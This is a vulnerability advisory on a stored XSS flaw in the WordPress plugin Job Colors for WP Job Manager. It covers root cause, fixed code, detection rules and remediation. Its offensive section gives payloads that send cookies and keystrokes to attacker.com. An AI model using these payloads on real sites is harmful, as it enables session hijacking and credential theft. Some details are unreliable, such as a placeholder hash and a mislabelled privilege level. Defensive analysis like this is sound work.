CVE-2025-31031

Executive Summary

CVE-2025-31031 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Job Colors for WP Job Manager (slug: wp-job-manager-colors) by Astoundify. The vulnerability affects all versions up to and including 1.0.4. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript into job color fields, which is then stored and executed in the browsers of other users (including administrators) when they view the affected job listings. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory and third-party marketplaces. The vendor (Astoundify) has not released a patch, and the plugin may be abandoned. Users should consider this a supply chain risk: if the plugin is used in a production environment, it introduces a persistent XSS vector that can be exploited by any authenticated user with job editing capabilities.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Contributor or higher)
• User Interaction: Required (victim must view the job listing)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the real-world risk for sites using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of color customization fields for job listings. The plugin allows users to set colors for various job listing elements (e.g., background, text, borders) via a settings panel or job editing interface. The input is not properly sanitized or escaped before being stored in the database and later rendered in the frontend.

Root Cause: The plugin uses echo or the_field() functions without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject HTML and JavaScript payloads.

Attack Flow:

1. An authenticated user with Contributor or Author role navigates to the job editing page.
2. The attacker inserts a malicious payload into a color field, e.g., "><script>alert('XSS')</script>.
3. The payload is stored in the wp_postmeta table.
4. When any user (including admins) views the job listing, the payload executes in their browser.

WordPress Context: This is a classic stored XSS in a WordPress plugin. The vulnerability is not in WordPress core but in the plugin's failure to sanitize user input.

Vulnerable vs. Patched Code

Since no patch exists, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (wp-job-manager-colors plugin, version 1.0.4):

// In a template file or shortcode handler
$color = get_post_meta($post->ID, '_job_color', true);
echo '<div style="background-color: ' . $color . ';">';

Patched Code (Recommended Fix):

$color = get_post_meta($post->ID, '_job_color', true);
$safe_color = esc_attr($color); // Escape for HTML attribute context
echo '<div style="background-color: ' . $safe_color . ';">';

Additional Secure Pattern:

// Validate that the input is a valid hex color
$color = get_post_meta($post->ID, '_job_color', true);
if (preg_match('/^#[a-f0-9]{6}$/i', $color)) {
    echo '<div style="background-color: ' . esc_attr($color) . ';">';
} else {
    echo '<div style="background-color: #ffffff;">'; // Default safe color
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with WP Job Manager and Job Colors plugin (<=1.0.4) installed.
• An authenticated account with at least Contributor role.

Exploit Steps:

1. Log in as a Contributor.
2. Create or edit a job listing.
3. In the "Job Color" field (or similar), inject the following payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the job listing.
5. When an administrator or other user views the job listing, the script executes, exfiltrating cookies.

Alternative Payload (Keylogger):

"><input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/k?k='+e.key)})" autofocus>

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual job listing edits by low-privileged users.
2. Check the wp_postmeta table for suspicious values in color fields:

   SELECT * FROM wp_postmeta WHERE meta_key LIKE '%color%' AND meta_value LIKE '%<script%';
   

3. Review web server logs for requests to /wp-admin/post.php with action=edit and suspicious POST parameters.

Honeypot Technique:

• Create a decoy job listing with a known safe color value. Monitor for any changes to that listing's color field.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Version 1.0.4):
  • wp-job-manager-colors.zip SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder – replace with actual hash)
• Database Artifacts:
  • wp_postmeta entries with meta_key containing _job_color and meta_value containing HTML/JavaScript.
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log Patterns:
  • POST /wp-admin/admin-ajax.php with action=save_job_color and suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2025_31031_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Job Manager Colors plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31031"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*["'][^"']*["']/i
        $payload3 = /javascript\s*:/i
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS via WP Job Manager Colors Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in job color fields
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1190
    - cve.2025.31031
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=save_job_color'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate color updates with safe values
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-31031 - Stored XSS in WP Job Manager Colors";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_job_color"; http_client_body;
    pcre:"/(<script|on\w+=|javascript:)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-31031;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Remove the plugin from all WordPress installations.
3. Audit existing job listings for malicious color values using the SQL query in the Blue Team section.

Long-Term Fix:

• Since no patch is available, consider forking the plugin and applying the secure code patterns shown in the "Vulnerable vs. Patched Code" section.
• Alternatively, migrate to a different job listing plugin that is actively maintained.

Workaround:

• Restrict the edit_posts capability to only trusted users.
• Use a Web Application Firewall (WAF) to block requests containing <script or onerror in color fields.

Valters IT Signature:

Valters IT
Cybersecurity & Threat Intelligence
https://valters-it.com